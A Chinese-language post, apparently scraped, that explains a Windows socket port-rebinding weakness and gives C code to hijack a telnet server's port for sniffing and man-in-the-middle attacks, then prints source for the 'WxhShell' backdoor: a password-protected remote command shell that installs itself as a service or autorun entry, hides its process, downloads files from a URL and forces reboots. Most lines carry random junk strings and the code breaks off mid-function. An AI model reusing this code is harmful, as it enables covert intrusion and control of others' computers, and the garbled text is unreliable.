在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
rrei6$H& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'vT
XR_D &ZgB b saddr.sin_family = AF_INET;
\?-`?QPux |q5R5mQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:Vc+/ZyW &[}T41 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
n83,MV?- }E+}\& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>ZKE yz!j9pJ 这意味着什么?意味着可以进行如下的攻击:
IiV:bHUE}0 p%_#"dkC7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
s5>=!yX -.:[a3c? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DG&14c>g a!}.l< ) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/GNLZm^ WC,&p 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~qm<~T_0 yzt6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
|D
u.aN Q>u$tLX& 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4(MZ*6G]? ,KF>PoySA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
? &ew$% 5_b`QO #include
yzW9A=0A) #include
ygr[5Tl #include
8 ~.|^no #include
Y9ueE+6 DWORD WINAPI ClientThread(LPVOID lpParam);
LD5n_W int main()
LUv>0G#L[ {
Pp1HOJYJp0 WORD wVersionRequested;
`<2y
[<y DWORD ret;
Tm@d;O'E1 WSADATA wsaData;
IB:Wh;_x BOOL val;
pb_+_(/c SOCKADDR_IN saddr;
TOV531
SOCKADDR_IN scaddr;
{~ ZSqd int err;
FLJdnL SOCKET s;
k6-Q3W[+a SOCKET sc;
Q@hx+aM int caddsize;
#P$=P2o HANDLE mt;
a9qB8/Gg[ DWORD tid;
"BZ6G` wVersionRequested = MAKEWORD( 2, 2 );
RG-pN() err = WSAStartup( wVersionRequested, &wsaData );
$QmP'
< if ( err != 0 ) {
]Qe;+p9vU printf("error!WSAStartup failed!\n");
B\1F return -1;
g<O*4
]= }
-Y%#z'^- saddr.sin_family = AF_INET;
{XiBRs e ncf=S(G+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e&?o P9vN5|"M saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Z3Os9X9p saddr.sin_port = htons(23);
SeqnO.\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
mV0F^5 {
q05_5 printf("error!socket failed!\n");
b5_(Fv return -1;
8
ZD1}58U4 }
g![]R-$ val = TRUE;
0l !%}E //SO_REUSEADDR选项就是可以实现端口重绑定的
4;WeB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{4Cn/}7Ly^ {
"TA r\;[ printf("error!setsockopt failed!\n");
6W."hPP return -1;
I{AteL }
\Rop~gD //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
oHdss;q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
w<-8cvNhiz //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g
nJe!E #~%tdmGuL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4(Gs$QkSo| {
" &'Jw ret=GetLastError();
'F^nW_ryW printf("error!bind failed!\n");
C72?vAc,F return -1;
NJSzOL_ }
sF^3KJ| listen(s,2);
DesvnV'{`
while(1)
%m1k^ {
c%c/mata? caddsize = sizeof(scaddr);
1[o] u:m9U //接受连接请求
?#ue:O1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{C Qo}@.7 if(sc!=INVALID_SOCKET)
+ia F$ {
SC)4u l% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
V*xT5TljS- if(mt==NULL)
-Czq[n=0( {
[4sI<aH printf("Thread Creat Failed!\n");
J
Sz'oA5 break;
EU.vw0}u8 }
j7=I!<w V }
3Vj uk7 CloseHandle(mt);
8v"tOa4D7 }
_XIls*6AK closesocket(s);
T1m'+^?" WSACleanup();
V`?2g_4N return 0;
Z{RRhJ }
5OP$n]|( DWORD WINAPI ClientThread(LPVOID lpParam)
\dSMF,E {
:D6"h[7 SOCKET ss = (SOCKET)lpParam;
betN-n- SOCKET sc;
) \Mwv&k1 unsigned char buf[4096];
K[Bq,nPo SOCKADDR_IN saddr;
@54, I long num;
X~t] qT DWORD val;
Hi #'h DWORD ret;
2GQq(_ //如果是隐藏端口应用的话,可以在此处加一些判断
ysD@yM, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
NKB,D$!~& saddr.sin_family = AF_INET;
"ut:\%39. saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
68?oV)fE saddr.sin_port = htons(23);
4a]m=]Hm if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4&;.>{:; {
}c(".v# printf("error!socket failed!\n");
zlzr;7m return -1;
+hL+3`TD#H }
"f\2/4EIl val = 100;
ei'=%r8~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(lF;c<69 {
eSf
e
s ret = GetLastError();
x;"! return -1;
}7YDe'5V }
z:<mgp&/< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[q]"_4L0;d {
!U.Xb6 ret = GetLastError();
6T{Zee return -1;
?n)r1m }
xxOo8+kA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`"QUA G {
9k =-8@G9 printf("error!socket connect failed!\n");
;V]EF closesocket(sc);
WLGx=
; closesocket(ss);
.CH0PK=l return -1;
9{@ #tx }
;m$F~!Y while(1)
z5IHcZ {
4K` N3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q#wg2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
?T-6|vZA //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
rks+\e}^Z num = recv(ss,buf,4096,0);
T5_z^7d if(num>0)
6He 7A@Eh send(sc,buf,num,0);
-C.x;@!k else if(num==0)
qp
(ng8%c break;
x'*,~u num = recv(sc,buf,4096,0);
+F q`I2l| if(num>0)
f2Frb
send(ss,buf,num,0);
[z#C&gDt else if(num==0)
vr56
f1 break;
JG&`l{c9 }
oZ95 )'L, closesocket(ss);
opTDW) closesocket(sc);
CK[2duf^~ return 0 ;
)
?rJKr[` }
Ao)hb4ex 1L1_x'tT% =$601r ==========================================================
p%e!&:! S W(h%`U 下边附上一个代码,,WXhSHELL
[o8a(oC 1\1a;Q3W%, ==========================================================
X1G[& fU^B
3S6X #include "stdafx.h"
HH+R47%* R_J=x #include <stdio.h>
3U=q3{%1 #include <string.h>
'8>h4s4 #include <windows.h>
,?i^i#Wqzg #include <winsock2.h>
~d6_ #include <winsvc.h>
JoQzf~ #include <urlmon.h>
;:1d<Q| avxI\twAU #pragma comment (lib, "Ws2_32.lib")
EJY[M #pragma comment (lib, "urlmon.lib")
K;;Q*NN- "6rZn_H/| #define MAX_USER 100 // 最大客户端连接数
en>d T #define BUF_SOCK 200 // sock buffer
[^t"Hf #define KEY_BUFF 255 // 输入 buffer
*9e T#dH AfW63;kH #define REBOOT 0 // 重启
hH:7 #define SHUTDOWN 1 // 关机
@<Au|l` Ls#pe #define DEF_PORT 5000 // 监听端口
i.2O~30ST \V`O-wcJ]S #define REG_LEN 16 // 注册表键长度
?TLEZlB2" #define SVC_LEN 80 // NT服务名长度
0(#HMBE8 LB%_FT5 // 从dll定义API
KY/}jJW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|Axg}Q| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
J'^s5hxn+0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
06*R)siC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#EtS9D'd+ m>2b %GTh // wxhshell配置信息
lGqwB,K$z4 struct WSCFG {
P$_Y:XI ! int ws_port; // 监听端口
!3Fj`Oh char ws_passstr[REG_LEN]; // 口令
"{;]T int ws_autoins; // 安装标记, 1=yes 0=no
x^_Wfkch] char ws_regname[REG_LEN]; // 注册表键名
kH*l83 char ws_svcname[REG_LEN]; // 服务名
V[,/Hw~d% char ws_svcdisp[SVC_LEN]; // 服务显示名
WpC@nz? char ws_svcdesc[SVC_LEN]; // 服务描述信息
yAtM|:qq char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"lLt=s2>L int ws_downexe; // 下载执行标记, 1=yes 0=no
zNRoFz. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(u85$_C char ws_filenam[SVC_LEN]; // 下载后保存的文件名
K1uN(T.Ju 6,M>' s,N };
w_G/[R3 ,$5; // default Wxhshell configuration
@va{&i`%A7 struct WSCFG wscfg={DEF_PORT,
ZmO/6_nU? "xuhuanlingzhe",
I^/Ugu 1,
Gdnk1_D> "Wxhshell",
wE3^6 "Wxhshell",
hZI9*=`," "WxhShell Service",
=wK3\rG "Wrsky Windows CmdShell Service",
|s|>46E "Please Input Your Password: ",
!Jb?rSJ.h 1,
4?M=?K0 "
http://www.wrsky.com/wxhshell.exe",
O;
EI& "Wxhshell.exe"
YD2M<.U };
//KTEAYyy# 7>xxur& // 消息定义模块
N'Va&"&73> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_6THyj$f char *msg_ws_prompt="\n\r? for help\n\r#>";
`m<l8'g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Cca(
oV char *msg_ws_ext="\n\rExit.";
N J:]jd char *msg_ws_end="\n\rQuit.";
{>OuxVl??k char *msg_ws_boot="\n\rReboot...";
7M}T^LC char *msg_ws_poff="\n\rShutdown...";
i\2MphS char *msg_ws_down="\n\rSave to ";
U
jVo "K l3n* b6 char *msg_ws_err="\n\rErr!";
C]*9:lK char *msg_ws_ok="\n\rOK!";
lW'6rat srx`"
: char ExeFile[MAX_PATH];
wM (!9Ws3 int nUser = 0;
{.SN HANDLE handles[MAX_USER];
!Qrlb>1z- int OsIsNt;
0sVCTJ@ zm2&\8J SERVICE_STATUS serviceStatus;
tc@v9`^_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
ih2H~c>O aGNt?)8WPZ // 函数声明
eB/3MUz1 int Install(void);
VJD$nh
#M5 int Uninstall(void);
N::_JH?^= int DownloadFile(char *sURL, SOCKET wsh);
`y0ZFh1>X int Boot(int flag);
5ejdf void HideProc(void);
*gHOH!K,S int GetOsVer(void);
BMU~1[r int Wxhshell(SOCKET wsl);
~FH''}3:3 void TalkWithClient(void *cs);
]eb9Fq:N7 int CmdShell(SOCKET sock);
E&
T9R2Y int StartFromService(void);
9C[3w[G~C int StartWxhshell(LPSTR lpCmdLine);
Rb<aCX GhLgV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
C2AP VOID WINAPI NTServiceHandler( DWORD fdwControl );
;M8N% vuuID24: // 数据结构和表定义
W5$jIQ}Bw SERVICE_TABLE_ENTRY DispatchTable[] =
Z4}Yw{=f {
Y[$[0 {wscfg.ws_svcname, NTServiceMain},
RmO-".$yt {NULL, NULL}
c;w
cgU };
Y%p"RB[ 4a>z]&s // 自我安装
!OPK?7 int Install(void)
$q
DH {
Gw!jYnU char svExeFile[MAX_PATH];
")ow,r^" HKEY key;
)<DL' strcpy(svExeFile,ExeFile);
J[L$8y: Mb3,! // 如果是win9x系统,修改注册表设为自启动
E8jdQS|i if(!OsIsNt) {
&AGV0{NMh] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&k&tkE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
nE]R0|4h RegCloseKey(key);
gsc/IUk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%,a.431gi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(o{QSk\ RegCloseKey(key);
vb9G_Pfz return 0;
"pdG%$ }
_zJY1cr }
"6
dC }
rv;w`f else {
0Z2![n Gi]Pwo${ // 如果是NT以上系统,安装为系统服务
p(Y'fd} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
KL sTgo|J if (schSCManager!=0)
4&K~EX"^T {
$&n!j'C: SC_HANDLE schService = CreateService
|6`yE]3-( (
M=26@ n schSCManager,
&kXf)xc<~ wscfg.ws_svcname,
RJnRbaC wscfg.ws_svcdisp,
2aW&d=!ZV SERVICE_ALL_ACCESS,
S`K8e^] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=B*,S#r SERVICE_AUTO_START,
jFw?Ky2 SERVICE_ERROR_NORMAL,
M,e_=aq svExeFile,
1P3^il7 NULL,
W: cOzJ NULL,
zjM+F{P8 NULL,
.2!'6;K NULL,
/V46:`V NULL
cc.zC3Hs3 );
m]=|%a6 if (schService!=0)
vhTte
|( {
ocAoqjlT[ CloseServiceHandle(schService);
d
'4c?vC CloseServiceHandle(schSCManager);
a[xEN7L~4D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
YX18!OhQ strcat(svExeFile,wscfg.ws_svcname);
v)d\
5#7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
,S:g5n >M RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
50l=B]M RegCloseKey(key);
~k+-))pf return 0;
[#)-F_S }
|6"zIHvtc }
6jRF[N8 CloseServiceHandle(schSCManager);
xO'1|b^& }
/=lrdp!a }
;,JCA#
N _&.CI6 return 1;
|0B h }
0kQAT# N02N
w(pi // 自我卸载
fi:Z*- int Uninstall(void)
Z99%uI3 {
Goz9"yazg HKEY key;
;?yd;GOt) "[BuQ0(g if(!OsIsNt) {
Kv{i_%j
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
w \i# RegDeleteValue(key,wscfg.ws_regname);
/(E)|*~6 RegCloseKey(key);
#8%Lc3n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
. AWRe1? RegDeleteValue(key,wscfg.ws_regname);
+*DXzVC RegCloseKey(key);
.B"h6WMz return 0;
].
IUQ*4t }
+ 3aAL& }
H^B/
'#mO }
hoO8s#0ED else {
}PK8[N
i0L)hkV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
g(,gg1mG if (schSCManager!=0)
ljlQ9wb[s {
Cc]t*;nU_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
55zimv&DV if (schService!=0)
o D*h@yL {
km}%7|R? if(DeleteService(schService)!=0) {
+smPR CloseServiceHandle(schService);
^$6EO)< CloseServiceHandle(schSCManager);
kZ[E493bV return 0;
v5; c}n }
|bO}|X CloseServiceHandle(schService);
S$=])^ dur }
7-'!XD! CloseServiceHandle(schSCManager);
b9%hzD,MR }
=eDVgOZ) }
/V2Ih mG1=8{o^ return 1;
bEMD2ABm }
?r'rvu'/ R}#?A%,* // 从指定url下载文件
3(}W=oI int DownloadFile(char *sURL, SOCKET wsh)
`(q+@ #) {
wZ0$ylEX HRESULT hr;
#:v|/2 char seps[]= "/";
$eCxpb.. char *token;
{Ymn_ char *file;
2Vr F~+ char myURL[MAX_PATH];
A]WU*GL2H char myFILE[MAX_PATH];
Zyu4! Eii)zo8Xd strcpy(myURL,sURL);
`$AX!,<!G token=strtok(myURL,seps);
H CZ#7Z while(token!=NULL)
Vge9AH:op {
jRmv~] file=token;
!eMz;GZ token=strtok(NULL,seps);
{uM*.] }
$GSn#} yz ^Cst4=:W GetCurrentDirectory(MAX_PATH,myFILE);
!.?2zp~ strcat(myFILE, "\\");
quTM|>=_R strcat(myFILE, file);
&
VJ+X|Z send(wsh,myFILE,strlen(myFILE),0);
[W,Ej send(wsh,"...",3,0);
i
?%;s5< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d!D#:l3; if(hr==S_OK)
yS0!#AG return 0;
X"z^4?Aj+ else
K pDK Ii return 1;
MD1n+FgTu QaH32(iH }
5*/~) wN\U >OgA3)X // 系统电源模块
F
*=>= int Boot(int flag)
[1F.
{
k-Hy>5; HANDLE hToken;
Eh^c4x TOKEN_PRIVILEGES tkp;
`+CRUdr B36_OH if(OsIsNt) {
NoB)tAvw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
bE74Ui LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
8doKB<#_+= tkp.PrivilegeCount = 1;
D{x'k2= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~Y7>P$G) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^":UkPFCx: if(flag==REBOOT) {
D|9xD if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)[C]1N=tK return 0;
FO<PMK }
fa//~$#"{L else {
6ey{+8 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b}HLuX return 0;
?NOc]'<(G }
-|bnvPmE }
M4w,J2_8MK else {
F{WV}o=MY if(flag==REBOOT) {
<wfPbzs-V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}^+E S^~ return 0;
QbjO*:c4 }
w
&1_k:Z& else {
!nQ_< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
_ I"}3* return 0;
v*iD)k:|t }
K|%.mcs4 }
_C2iP[YwQ{ 2w_[c. return 1;
!'8.qs }
R}_B\# Q Sg // win9x进程隐藏模块
rE$0a-d2B void HideProc(void)
8s16yuM {
BpBMFEiP ~_6~Fi HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^SM>bJ1Z_ if ( hKernel != NULL )
f^Sl(^f {
~Ap.#VIc' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
`fMdO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
aO)Cq5 FreeLibrary(hKernel);
@`xR1pXQ }
JN)@bP `yJ3"{uO return;
h]T }
f@yInIzRJ WVyk?SBw // 获取操作系统版本
VUnO&zV{ int GetOsVer(void)
_^w&k{T {
o5LyBUJ OSVERSIONINFO winfo;
*lyy |3z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(SGX|,5X7 GetVersionEx(&winfo);
7IkNS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
!xcLJ5^W return 1;
W5cBT?V else
RT`.S
uN return 0;
D=1:-aLP7
}
f$1&)1W[ [wOz<< // 客户端句柄模块
CGw, RNV int Wxhshell(SOCKET wsl)
)hG4,0hv& {
!=Scpo_ SOCKET wsh;
Qe4O N3X! struct sockaddr_in client;
wtM1gYl^ DWORD myID;
3qf?n5"8 41uiW, while(nUser<MAX_USER)
#mKF)W {
sbv2*fno5 int nSize=sizeof(client);
OFe-e(c1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@*e5(@R if(wsh==INVALID_SOCKET) return 1;
=$mPReA3v <qGxkV
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Fz11/sKz if(handles[nUser]==0)
?}g^/g ! closesocket(wsh);
q7z`oK5 else
1A%0y)] nUser++;
boS= }
A |u-VXQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
H46N!{<;@ 6 &Lr/J76 return 0;
ibH!bS{ }
hXnfZx% A(eB\qG // 关闭 socket
PH.g+u=v void CloseIt(SOCKET wsh)
;gGq\c {
or,:5Z closesocket(wsh);
FYs]I0}| nUser--;
8;Zz25* ExitThread(0);
\)$: }
>piVi[` -\<\OV:c* // 客户端请求句柄
CS'LW;#[ void TalkWithClient(void *cs)
U7#C. Z {
Gr-~&pm ,I6li7V SOCKET wsh=(SOCKET)cs;
^XX_ qC'1 char pwd[SVC_LEN];
:%_\!FvS char cmd[KEY_BUFF];
Gsn$r(m{K char chr[1];
p<[MU4 int i,j;
) >te|@}o j)ME%17 while (nUser < MAX_USER) {
JR_%v=n~x !mZDukfjQ if(wscfg.ws_passstr) {
S86,m= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`L
LS|S] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\VpN:RI //ZeroMemory(pwd,KEY_BUFF);
}7*|s+F(f i=0;
'B:8tv while(i<SVC_LEN) {
(/7b8)g o_8Wnx^ // 设置超时
av&~A+b.r fd_set FdRead;
v-Tkp
Yn struct timeval TimeOut;
j(A>M_f; FD_ZERO(&FdRead);
x8w l FD_SET(wsh,&FdRead);
2##;[ TimeOut.tv_sec=8;
*8r^!(Kj TimeOut.tv_usec=0;
f$76p!pDa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Vy=P* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3n,jrX75u FI,K 0sO/| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jB<B_" pwd
=chr[0]; oN2#Jh%dH
if(chr[0]==0xd || chr[0]==0xa) { 4VF4 8
pwd=0; J}NMF#w/;
break; e"y-A&|
} >?O?U=:<
i++; IClw3^\l
} !YPwql(
7Kf
// 如果是非法用户,关闭 socket :wq][0)
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oam$9 q
} N5c*#lHI
jG~-V<&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :i4AkBNK
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0K'{w]Q
5vFM0
while(1) { zo1T`"Y
inY_cn?
ZeroMemory(cmd,KEY_BUFF); 0W0GSDx
D6~KLSKm
// 自动支持客户端 telnet标准 Wv|CJN;4
j=0; LC4VlfU
while(j<KEY_BUFF) { #SKC>MGz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NN#k^[i1
cmd[j]=chr[0]; 4> uN H5
if(chr[0]==0xa || chr[0]==0xd) { n}b{u@$
cmd[j]=0; ^k*%`iQ
break; [>N#61CV5
} 0SU v 5c
j++; p>,D F9W`
} |sI@m@
0BNH~,0u
// 下载文件 -:95ypi
if(strstr(cmd,"http://")) { j!@T@
8J
send(wsh,msg_ws_down,strlen(msg_ws_down),0); el U %Z9
if(DownloadFile(cmd,wsh)) vf zC2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j,Mbl"P
else [[HCP8Wk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B{b?j*fHJ
} fF(AvMsO
else { O=t~.]))
~5&B#Sm[G
switch(cmd[0]) { #K0/ >W
sj4\lpZ3h
// 帮助 L pq)TE#
case '?': { 43E)ltR=]
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9Nps<+K
break; 1.M<u)1GU
} m62Zta
// 安装 w[F})u]E
case 'i': { v-N4&9)%9
if(Install()) O}%ES AB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s>:gL,%c
else /Yb8= eM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tmOy"mq67
break; !KJA)znx;(
} Y(t/=3c[
// 卸载 }]H7uC!t
case 'r': { TE;f*!
if(Uninstall()) KTt+}-vP^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@z[b^
else i6P}MtC1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g4=C]\1
break; IqV" 4
} Ux1j +}y
// 显示 wxhshell 所在路径 -8l(eDm"m
case 'p': { Gk+R,:
char svExeFile[MAX_PATH]; [0qswsV
strcpy(svExeFile,"\n\r"); K>vl o/#!
strcat(svExeFile,ExeFile); L*dGo,oN
send(wsh,svExeFile,strlen(svExeFile),0); a_bZT4
break; 7TEpjSuF
} @`)>-k
// 重启 gm
pY[
case 'b': { `*[\b9>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y#I8gzv
if(Boot(REBOOT)) yZ{N$ch5b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:4-b"O
else { ?A;RTM
closesocket(wsh); ZB|s/
ExitThread(0); B8eZ}9X
} ZV:df 6S
break; ~"0{<mMcX
} Op8Gj
`
// 关机 fPHV]8Ft|
case 'd': { 0<:rp]<,
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P5h*RV>oS
if(Boot(SHUTDOWN)) ?mM:oQH+>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3 1%T"
else { R<gAxO%8
closesocket(wsh); y9?*H?f,
ExitThread(0); Go1xyd:k
} R<_VWPlj
break; pY-!NoES
} ~Er0$+q=Y;
// 获取shell [T4{K&
case 's': { JBA{i45x
CmdShell(wsh); xv Xci W
closesocket(wsh); 8\9W:D@"x
ExitThread(0); b:'8_jL
break; (1q(6!
} ftcLP
// 退出 q+4dHS)x
case 'x': { 5x|$q kI
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AA)pV-
CloseIt(wsh); "9dZ
z/{
break; &>+5
8
} `),U+
// 离开 5FuV=Y uc
case 'q': { A(uo%QE|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); B_iaty
closesocket(wsh); ={v(me0ZPb
WSACleanup(); U\ ,N
exit(1); n^$Q^[:Z
break; 0[fBP\H"Wr
} @`+\vmfD
} 'v^shGI%Ht
} wLiPkW
_.R]K$U
// 提示信息 O-ENFA~E;v
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @YRy)+
} ?/1LueC:
} 5 (!F Q
?u&|'ASo
return; k%u fgHl!
} S&-F(#CF^
H" A@Q.'
// shell模块句柄 w2V:x[
int CmdShell(SOCKET sock) $<XQv $YS
{ KztQT9kY
STARTUPINFO si; Sh5)36
ZeroMemory(&si,sizeof(si)); h5T~dGRlR
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yc?S<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j~S=kYrGM
PROCESS_INFORMATION ProcessInfo; g"Hl 30o
char cmdline[]="cmd"; <+r~?X_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p5OoDo
return 0; `Ix`/k}
} !5h-$;
'AWWdz
// 自身启动模式 i;/;zG^=_
int StartFromService(void) }eA)m
{ =O"l/\c^
typedef struct Drf Au
{ #@w/S:KbJt
DWORD ExitStatus; A' uaR?
DWORD PebBaseAddress; /=l!F'
DWORD AffinityMask; l&e{GHz
DWORD BasePriority; O(-6Zqk8Q
ULONG UniqueProcessId; ^8bc<c:P
ULONG InheritedFromUniqueProcessId; jj;TS%
} PROCESS_BASIC_INFORMATION; 3!cenyE
"x.iD,>k
